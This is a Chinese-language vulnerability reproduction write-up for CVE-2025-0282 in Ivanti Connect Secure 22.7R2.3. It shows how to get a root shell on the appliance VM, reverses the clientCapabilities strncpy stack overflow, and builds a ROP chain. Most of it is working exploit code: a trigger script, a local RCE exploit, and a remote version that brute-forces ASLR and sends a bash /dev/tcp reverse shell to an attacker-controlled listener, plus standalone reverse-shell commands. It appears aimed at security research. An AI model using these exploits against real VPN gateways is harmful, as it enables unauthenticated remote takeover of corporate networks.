实验对象:Ivanti Connect Secure 22.7R2.3
[[CVE]]
虚拟机下载

环境配置

使用vm打开后,配置如下内容
c4cebc4c-883e-4a06-8eed-7a323b6ba33f.png
image.png
image.png
对进行配置的ip访问,成功启动

后续我们需要将虚拟机中的文件下载下来
image.png
首先在这个页面进行等待,直到出现红框中的超时信息,保存快照,挂起虚拟机
image.png
在虚拟机文件夹中找到对应文件,使用010打开
image.png
image.png
将文件中所有的/home/bin/dsconfig.pl 字符串为 ///////////////bin/sh
/home/bin/dsconfig.pl是控制台界面执行时需要调用的脚本文件,替换后等待控制台界面超时后按“回车”,即可获取底层shell
image.png
成功拿到shell

1
2
nc -lvp 4444 #s宿主机设置监听
bash -i >& /dev/tcp/192.168.13.146/4444 0 >&1 #虚拟机反弹shell

为了后续方便操作,我们先反弹shell出来再进行操作
image.png

image.png

没有python3 ,只有python2,使用python2的

1
2
3
iptables -L -n #查看当前服务器放行的端口 
iptables -A INPUT -p tcp --dport 8080 -j ACCEPT #添加放 行端口8080
python -m SimpleHTTPServer 8080

image.png
需要下载的文件在 /home/bin 下的 web 和lib中的 libdsplibs.so
我们还需要传入 gdbserver 来进行后续的调试

在虚拟机中使用cat写传输脚本(因为在Ivanti Connect Secure模拟中没有vim和vi,只能通过cat写入)
在tmp文件夹中写入

1
2
3
4
5
cat > read.py << 'EOF'
#接收端
import urllib
urllib.urlretrieve("http://192.168.13.146:1234/filename", "filename")
EOF

ubuntu 发送

1
2
3
4
5
6
7
import http.server
import socketserver
PORT = 1234
Handler = http.server.SimpleHTTPRequestHandler
httpd = socketserver.TCPServer(("0.0.0.0", PORT), Handler)
print("Serving at port", PORT)
httpd.serve_forever()

gdbserverbusybox 传入
[gdbserver](hugsy/gdb-static: Public repository of statically compiled GDB and GDBServer)

漏洞复现

漏洞在web文件中的 `sub_E3540` 

image.png
创建一个 DSUtilMemPool 类,将v56作为传递参数
创建一个 EPMessage 类,将v54、v56作为传递参数
将键名为
clientIp 从a1+108 偏移处读取
clientHostName 从a1+124 偏移处读取
clientCapabilities 从a1+140 偏移处读取
其中 sub_11D6B8 函数

1
2
3
4
5
6
7
8
9
10
11
int __cdecl sub_11D6B8(int a1, char *a2, DSUtilMemPool *a3)
{
void *v3; // eax
const char *v5; // [esp+8h] [ebp-14h]

*(_DWORD *)(a1 + 36) = 0;
if ( !a3 )
return DSHash::remove((DSHash *)(a1 + 4), a2);
v3 = (void *)DSStr::newFromPool(*(DSStr **)a1, a3, v5);
return DSHash::insertUniq((DSHash *)(a1 + 4), a2, v3);
}

检测是否为空,如果不为空则从 a1 + 偏移处读取一个字符串指针,再以 “clientIp” 为键,存入 v54
在最后 clientCapabilities 中可以进行溢出
后续我们溢出到 sub_E4AD0 函数中,也是我们的漏洞触发函数
image.png
这是一个消息分发函数,负责处理来自IFT-TLS协议的各种消息类型。它根据消息的vendorIdtype字段来决定如何处理不同的消息
needle 获取vendorId
TypeEv 获取消息类型
LenEv 获取消息长度
IdEv 获取消息ID
image.png

1
s_1 = (const char *)sub_11D70E((int)v56, (char *)&IFT_JNPR_KEY_PREAUTH_INIT_CLIENT_CAPABILITIES);

我们来分析这个漏洞点代码
sub_11D70E
v56是 EPMessage 对象,强制转换为int类型
IFT_JNPR_KEY_PREAUTH_INIT_CLIENT_CAPABILITIES 是一个字符串字面量,代表一个键或属性名(clientCapabilities\客户端能力) 用于在 EPMessage 中查找对应的值
返回值: 指向字符串的指针,如果字段不存在则返回NULL

再将 src_4 = s_1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if ( s_1 )
{
n_4 = strlen(s_1);// 获取字符串长度
if ( n_4 >= 0 )
{
// 检查当前容量是否足够
if ( n_4 >= *(_DWORD *)(a1 + 148) )
DSStr::reserve((DSStr *)(a1 + 140), n_4 + 1);
//如果不够在a1 + 140上数重新分配n_4 + 1大小的空间
memmove(*(void **)(a1 + 140), src_4, n_4);
*(_DWORD *)(a1 + 144) = n_4;// 更新字符串长度
*(_BYTE *)(*(_DWORD *)(a1 + 140) + n_4) = 0;
}
}
else if ( *(int *)(a1 + 148) > 0 )
{
n_5 = 1;
// 添加null终止符
**(_BYTE **)(a1 + 140) = 0;
*(_DWORD *)(a1 + 144) = 0;
goto LABEL_55;
}

memmove(*(void **)(a1 + 140), src_4, n_4);
a1 + 140 : 获取 clientCapabilities 字符串的实际存储地址
src_4: 源字符串指针-EPMessage
n_4: 复制的长度

image.png
n_5 = *(_DWORD *)(a1 + 144) + 1; a1 + 144为clientCapabilities长度也就是之前的n_4,然后再进行+1
strncpy(dest, *(const char **)(a1 + 140), n_5); 漏洞点
dest是栈上的char数组,大小256字节
a1 + 140是 clientCapabilities 字符串内容为DSStr的data指针,指向堆上的字符串
n_5 是clientCapabilities长度 + 1
且没有检测a1 + 140指向的内容长度是否大于256,而且clientCapabilities\客户端能力是我们可以控制输入的,存在溢出
image.png
后续在执行a1中的内容
image.png
汇编对应的内容 call dword ptr [eax+48h]

image.png
a1的栈地址是在ret后的
image.png
我们可以溢出的点是在-0x8ec上,在ida中计算的距离为2288
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
mov     edx, [esp+0A0Ch+var_9E0]    
将栈上偏移量为[esp+0A0Ch+var_9E0]的内存地址处存储的值加载到edx寄存器中

mov eax, [esp+0A0Ch+arg_0]
获取a1指针

mov eax, [eax]
通过a1获取vtable地址

mov [esp+0A0Ch+src], edx
将edx寄存器中的值保存到栈上src的位置

mov edx, [esp+0A0Ch+arg_0]
再次将栈上第一个参数的值加载到edx寄存器中

mov [esp+0A0Ch+n], 2Eh
将数值0x2E(即字符'.')保存到栈上n的位置

mov [esp+0A0Ch+var_A0C], edx
将edx寄存器中的值(之前从arg_0加载的)保存到栈上var_A0C的位置

call dword ptr [eax+48h]
虚函数调用 - vtable[0x48/4] = vtable[18]

image.png
对应大致流程
其中我们可以通过 call dword ptr [eax+48h] 进行跳转到gadget 抬栈和给ebx赋值
在调用 system() 的代码
call system@plt system@plt 的实现:
system@plt:
jmp [ebx + system@got_offset] ; 通过EBX+偏移找到GOT表项
push system_index
EBX必须指向正确的GOT基址,否则 jmp [ebx + offset] 会跳转到错误地址
所以我们要对ebx进行赋值基址
且漏洞利用使用 strncpy,遇到 \x00会截断,我们可以通过 GOT.PLT - 1 后再使用 inc ebx 对其 ebx+1 即可绕过\x00截断
gadget使用 libdsplibs.so 中的 0x9384A1,但是程序开启了pie保护,且并没有泄露出地址信息,所以要爆破 1/4096。
image.png

指向伪造的虚表,我们使用libc中的
image.png
image.png
在我们指向伪造的虚表地址+48就是我们构造rop链的地方
image.png

ROP链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# 垃圾值填充到a1指针
buffer += b'C' * 2288

#指向我们libc中的伪造虚表
buffer += pack('<I', libdsplibs_base + 0x934367)

# 垃圾值填充到gadget
buffer += b'A' * 2934

#设置ebx = GOT.PLT - 1
buffer += pack('<I', libdsplibs_base + 0x157c000 - 1)

#填充寄存器 esi, edi, ebp为垃圾值
buffer += pack('<I', 0xCAFEBEEF) * 3

# inc ebx; ret将ebx+1恢复到正确的值,以便后续system调用不报错
buffer += pack('<I', libdsplibs_base + 0x1338373)

# mov eax, esp; ret 0xc
buffer += pack('<I', libdsplibs_base + 0xca2e84)

# add eax, 8; ret
buffer += pack('<I', libdsplibs_base + 0x7a040c)

# 填充 (ret 0xc跳过)
buffer += pack('<I', 0xCAFEBEEF) * 3

# add eax, 8 * 4
buffer += pack('<I', libdsplibs_base + 0x7a040c) * 4

# mov esp, eax; call system
buffer += pack('<I', libdsplibs_base + 0x4f0df3)

# 填充
buffer += pack('<I', 0xCAFEBEEF)

我们使用之前传入的 gdbserver 来对程序进行调试
虚拟机

1
2
chmod +x gdbserver
./gdbserver 0.0.0.0:8010 --attach $(netstat -anptl | grep 443 | awk '{print $7}' | cut -d'/' -f1 | grep -v "-")

宿主机

1
2
gdb
target remote 192.168.13.200:8010

image.png

编写脚本来测试 strncpy 漏洞点 adc1.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
#!/usr/bin/env python3
"""
CVE-2025-0282 调试脚本
用于触发断点 0xe5194 (strncpy 调用处)
"""

import sys
import socket
import ssl
import struct
from time import sleep

TARGET_IP = "192.168.13.200"
TARGET_PORT = 443

def log(txt):
print(txt)

def trigger_strncpy_breakpoint():
"""
发送精心构造的数据包,触发 sub_E4AD0 函数中的 strncpy 调用
断点位置: 0xe5194
"""
log(f"[+] Connecting to {TARGET_IP}:{TARGET_PORT}")

try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(30)

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ssock = ctx.wrap_socket(sock, server_hostname=TARGET_IP)
ssock.connect((TARGET_IP, TARGET_PORT))
log("[+] SSL connection established")

# Step 1: 发送 HTTP Upgrade 请求切换到 IF-T/TLS 协议
http_req = (
f"GET / HTTP/1.1\r\n"
f"Host: {TARGET_IP}:{TARGET_PORT}\r\n"
"User-Agent: AnyConnect-compatible OpenConnect VPN Agent v9.12\r\n"
"Content-Type: EAP\r\n"
"Upgrade: IF-T/TLS 1.0\r\n"
"Content-Length: 0\r\n"
"\r\n"
)
ssock.send(http_req.encode())
log("[*] Sent HTTP Upgrade request")

response = ssock.recv(4096)
if b'101 Switching Protocols' not in response:
log(f"[-] Failed to switch protocols: {response[:100]}")
return False
log("[+] Protocol switched to IF-T/TLS")

# Step 2: 发送 IFT_VERSION_REQUEST (版本协商)
version_data = struct.pack('4B', 0, 1, 2, 2)
version_pkt = (
struct.pack('>4I',
0x00005597, # VENDOR_TCG
0x00000001, # IFT_VERSION_REQUEST
len(version_data) + 16,
0 # seq id
) + version_data
)
ssock.send(version_pkt)
log("[*] Sent IFT_VERSION_REQUEST")

sleep(0.5)

# Step 3: 发送 IFT_PREAUTH_INIT 消息 (vendor=0x0a4c, type=0x88)
# 这会触发 sub_E4AD0 -> strncpy 调用
# 构造 clientCapabilities 数据
client_capabilities = "supportSHA2Signature=true,SupportsLastLoginDetails=true"

# EPMessage 格式: key=value 用空格分隔,以换行符结束
exploit_data = (
f"clientHostName=debugtest "
f"clientIp=127.0.0.1 "
f"clientCapabilities={client_capabilities}\n\x00"
)

exploit_pkt = (
struct.pack('>4I',
0x00000a4c, # VENDOR_JUNIPER
0x00000088, # IFT_PREAUTH_INIT
len(exploit_data) + 16,
1 # seq id
) + exploit_data.encode()
)

log("[*] Sending IFT_PREAUTH_INIT packet...")
log(f"[*] clientCapabilities length: {len(client_capabilities)}")
log("[!] This should trigger breakpoint at 0xe5194 (strncpy)")

ssock.send(exploit_pkt)

log("[+] Packet sent! Check GDB for breakpoint hit.")

# 保持连接等待调试
sleep(5)
ssock.close()
return True

except Exception as e:
log(f"[-] Error: {str(e)}")
return False

if __name__ == "__main__":
if len(sys.argv) > 1:
TARGET_IP = sys.argv[1]
if len(sys.argv) > 2:
TARGET_PORT = int(sys.argv[2])

print("=" * 60)
print("CVE-2025-0282 Debug Script")
print(f"Target: {TARGET_IP}:{TARGET_PORT}")
print("Breakpoint: 0xe5194 (strncpy in sub_E4AD0)")
print("=" * 60)

trigger_strncpy_breakpoint()

gdb调用脚本 gdb_1.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# GDB 调试命令脚本 - CVE-2025-0282
# 用法: gdb-multiarch -x gdb_commands.txt

# 连接到 gdbserver
target remote 192.168.13.200:8010

# 设置架构 (32位 x86)
set architecture i386

# 使用 $rebase 设置断点 (PIE 二进制)
# 断点: strncpy 调用处
b *$rebase(0xe5194)

# 断点命中时显示信息
commands 1
echo \n[*] Hit strncpy breakpoint at $rebase(0xe5194)!\n
echo [*] Registers:\n
info registers eax ebx ecx edx esi edi ebp esp eip
echo \n[*] Stack (strncpy args):\n
x/4wx $esp
echo \n[*] dest buffer:\n
x/s *(int*)($esp+4)
echo \n[*] src (clientCapabilities):\n
x/s *(int*)($esp+8)
echo \n[*] length n:\n
x/d $esp+12
end

# 继续执行
continue

运行

1
2
3
4
gdb-multiarch -x gdb_1.txt

#再开一个终端运行adc1.py
python3 adc1.py 192.168.13.200 443

image.png
src处就是我们输入的数据,可控

RCE

我们先打本地,先在模拟的主机端关闭pie保护

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
echo 0 > /proc/sys/kernel/randomize_va_space

#验证是否为0
cat /proc/sys/kernel/randomize_va_space

ps aux | grep web

# 重启web服务
killall web

#再从gdb中观察内存地址是否固定
target remote 192.168.13.200:8010

#查看内存布局
info proc mappings

本地RCE

1
2
3
4
5
#设置监听
nc -lvp 9999

#再开一个终端
python3 CVE-2025-0282.py 192.168.13.200 443 192.168.13.146 9999
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
#!/usr/bin/env python3
"""
CVE-2025-0282 Exploit - 基于ad1.py,ASLR已关闭版本
libdsplibs.so base: 0xf6525000
"""
import sys
import socket
import ssl
import struct
from time import sleep


def log(txt):
print(txt)


def exploit(target_ip, target_port, lhost, lport):
log(f"[+] Targeting {target_ip}:{target_port}")

# 22.7r2.4 b3597 gadgets (from libdsplibs.so)
target = {
'padding_to_vftable': 2288,
'vftable_gadget_offset': 0x00934365 + 2,
'padding_to_next_frame': 2934,
'offset_to_got_plt': 0x00157c000,
'gadget_inc_ebx_ret': 0x01338373,
'gadget_mov_eax_esp_retn_c': 0x00ca2e84,
'gadget_add_eax_8_ret': 0x007a040c,
'gadget_mov_esp_eax_call_system': 0x004f0df3,
}

# 固定base地址 (ASLR disabled)
libdsplibs_base = 0xf6525000

log(f"[*] libdsplibs_base: 0x{libdsplibs_base:08x}")

# 反弹shell命令
cmd = f"bash -c 'exec bash -i &>/dev/tcp/{lhost}/{lport} <&1';#"
cmd = cmd.replace(' ', '${IFS}')
log(f"[*] Command: {cmd}")

# 构造ROP buffer
buffer = b'C' * target['padding_to_vftable']
buffer += struct.pack('<I', libdsplibs_base + target['vftable_gadget_offset'])
buffer += b'A' * target['padding_to_next_frame']
buffer += struct.pack('<I', libdsplibs_base + target['offset_to_got_plt'] - 1)
buffer += struct.pack('<I', 0xCAFEBEEF) # esi
buffer += struct.pack('<I', 0xCAFEBEEF) # edi
buffer += struct.pack('<I', 0xCAFEBEEF) # ebp
buffer += struct.pack('<I', libdsplibs_base + target['gadget_inc_ebx_ret'])
buffer += struct.pack('<I', libdsplibs_base + target['gadget_mov_eax_esp_retn_c'])
buffer += struct.pack('<I', libdsplibs_base + target['gadget_add_eax_8_ret'])
buffer += struct.pack('<I', 0xCAFEBEEF)
buffer += struct.pack('<I', 0xCAFEBEEF)
buffer += struct.pack('<I', 0xCAFEBEEF)
buffer += struct.pack('<I', libdsplibs_base + target['gadget_add_eax_8_ret'])
buffer += struct.pack('<I', libdsplibs_base + target['gadget_add_eax_8_ret'])
buffer += struct.pack('<I', libdsplibs_base + target['gadget_add_eax_8_ret'])
buffer += struct.pack('<I', libdsplibs_base + target['gadget_add_eax_8_ret'])
buffer += struct.pack('<I', libdsplibs_base + target['gadget_mov_esp_eax_call_system'])
buffer += struct.pack('<I', 0xCAFEBEEF)
buffer += cmd.encode()

# 检查bad char
if b'\x00' in buffer:
log("[-] Buffer contains null byte!")
return

try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(15)

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
s = ctx.wrap_socket(sock, server_hostname=target_ip)
s.connect((target_ip, target_port))

# HTTP Upgrade
body = f"GET / HTTP/1.1\r\n"
body += f"Host: {target_ip}:{target_port}\r\n"
body += "User-Agent: AnyConnect-compatible OpenConnect VPN Agent v9.12-188-gaebfabb3-dirty\r\n"
body += "Content-Type: EAP\r\n"
body += "Upgrade: IF-T/TLS 1.0\r\n"
body += "Content-Length: 0\r\n"
body += "\r\n"

s.send(body.encode())
res = s.recv(4096)

if b'101 Switching Protocols' not in res:
log("[-] Failed to switch protocols")
return

log("[+] Protocol switched")

# IFT_VERSION_REQUEST
data = struct.pack('4B', 0, 1, 2, 2)
pkt = struct.pack('>IIII', 0x00005597, 0x00000001, len(data) + 16, 0) + data
s.send(pkt)

log("[*] Sent version request")

# Exploit packet
data = b"clientHostName=abcdefgh clientIp=127.0.0.1 clientCapabilities=" + buffer + b"\n\x00"
pkt = struct.pack('>IIII', 0x00000a4c, 0x00000088, len(data) + 16, 1) + data

log(f"[*] Triggering exploit...")
s.send(pkt)

log("[+] Exploit sent! Check your listener.")

except Exception as e:
log(f"[-] Error: {e}")


if __name__ == "__main__":
if len(sys.argv) < 5:
print(f"Usage: {sys.argv[0]} <target_ip> <target_port> <lhost> <lport>")
print(f"Example: {sys.argv[0]} 192.168.13.200 443 192.168.13.146 9999")
sys.exit(1)

target_ip = sys.argv[1]
target_port = int(sys.argv[2])
lhost = sys.argv[3]
lport = int(sys.argv[4])

exploit(target_ip, target_port, lhost, lport)

4549ec4c855118878d58b421ff64de78.png
成功

远程RCE
因为程序开启了pie保护,且是32位,我们可以进行爆破,成功概率大概为 1/4096。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
#!/usr/bin/env python3
"""
CVE-2025-0282 Direct Exploit - 跳过版本检测直接发送payload
"""
import sys
import socket
import ssl
import struct
from time import sleep

def log(txt):
print(txt)

def exploit(target_ip, target_port, lhost, lport):
log(f"[+] Target: {target_ip}:{target_port}")
log(f"[+] Reverse shell: {lhost}:{lport}")

# 目标配置 - 22.7.2.3597
target = {
'padding_to_vftable': 2288,
'vftable_gadget_offset': 0x00934365 + 2,
'padding_to_next_frame': 2934,
'offset_to_got_plt': 0x00157c000,
'gadget_inc_ebx_ret': 0x01338373,
'gadget_mov_eax_esp_retn_c': 0x00ca2e84,
'gadget_add_eax_8_ret': 0x007a040c,
'gadget_mov_esp_eax_call_system': 0x004f0df3,
'libdsplibs_base': 0xf6492000,
}

# 反弹shell命令
cmd = f"bash -c 'exec bash -i &>/dev/tcp/{lhost}/{lport} <&1';#"
cmd = cmd.replace(' ', '${IFS}')
log(f"[*] Command: {cmd}")

attempt = 0
max_attempts = 4096

log(f"[*] Starting ASLR bruteforce ({max_attempts} attempts)")
log(f"[*] This may take ~{max_attempts * 0.8 / 60:.1f} minutes...")

for _ in range(max_attempts):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(15)

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ssock = ctx.wrap_socket(sock, server_hostname=target_ip)
ssock.connect((target_ip, target_port))

# Step 1: HTTP Upgrade
http_req = (
f"GET / HTTP/1.1\r\n"
f"Host: {target_ip}:{target_port}\r\n"
"User-Agent: AnyConnect-compatible OpenConnect VPN Agent v9.12\r\n"
"Content-Type: EAP\r\n"
"Upgrade: IF-T/TLS 1.0\r\n"
"Content-Length: 0\r\n"
"\r\n"
)
ssock.send(http_req.encode())

response = ssock.recv(4096)
if b'101 Switching Protocols' not in response:
continue

# Step 2: Version negotiation
version_data = struct.pack('4B', 0, 1, 2, 2)
version_pkt = struct.pack('>4I', 0x00005597, 0x00000001, len(version_data) + 16, 0) + version_data
ssock.send(version_pkt)

sleep(0.5)

# Step 3: 构造ROP payload
buffer = b'C' * target['padding_to_vftable']
buffer += struct.pack('<I', target['libdsplibs_base'] + target['vftable_gadget_offset'])
buffer += b'A' * target['padding_to_next_frame']
buffer += struct.pack('<I', target['libdsplibs_base'] + target['offset_to_got_plt'] - 1)
buffer += struct.pack('<4I', 0xCAFEBEEF, 0xCAFEBEEF, 0xCAFEBEEF, 0xCAFEBEEF)
buffer += struct.pack('<I', target['libdsplibs_base'] + target['gadget_inc_ebx_ret'])
buffer += struct.pack('<I', target['libdsplibs_base'] + target['gadget_mov_eax_esp_retn_c'])
buffer += struct.pack('<I', target['libdsplibs_base'] + target['gadget_add_eax_8_ret'])
buffer += struct.pack('<3I', 0xCAFEBEEF, 0xCAFEBEEF, 0xCAFEBEEF)
buffer += struct.pack('<4I',
target['libdsplibs_base'] + target['gadget_add_eax_8_ret'],
target['libdsplibs_base'] + target['gadget_add_eax_8_ret'],
target['libdsplibs_base'] + target['gadget_add_eax_8_ret'],
target['libdsplibs_base'] + target['gadget_add_eax_8_ret']
)
buffer += struct.pack('<I', target['libdsplibs_base'] + target['gadget_mov_esp_eax_call_system'])
buffer += struct.pack('<I', 0xCAFEBEEF)
buffer += cmd.encode() + b'\x00'

attempt += 1
# 实时显示每次尝试
print(f"\r[*] Attempt #{attempt}/{max_attempts} | Base: 0x{target['libdsplibs_base']:08x}", end='', flush=True)

# Step 4: 发送exploit
exploit_data = b"clientHostName=abcdefgh clientIp=127.0.0.1 clientCapabilities=" + buffer + b"\n\x00"
exploit_pkt = struct.pack('>4I', 0x00000a4c, 0x00000088, len(exploit_data) + 16, 1) + exploit_data
ssock.send(exploit_pkt)

sleep(0.2) # 稍微减少等待时间加快爆破
ssock.close()

except Exception as e:
sleep(0.3)
continue

print() # 换行
log(f"[*] Completed {attempt} attempts")

if __name__ == "__main__":
if len(sys.argv) < 5:
print(f"Usage: {sys.argv[0]} <target_ip> <target_port> <lhost> <lport>")
print(f"Example: {sys.argv[0]} 192.168.13.200 443 192.168.13.146 9999")
sys.exit(1)

target_ip = sys.argv[1]
target_port = int(sys.argv[2])
lhost = sys.argv[3]
lport = int(sys.argv[4])

log("[!] Start listener first: nc -lvp " + str(lport))
log("[!] Press Enter to start exploit...")
input()

exploit(target_ip, target_port, lhost, lport)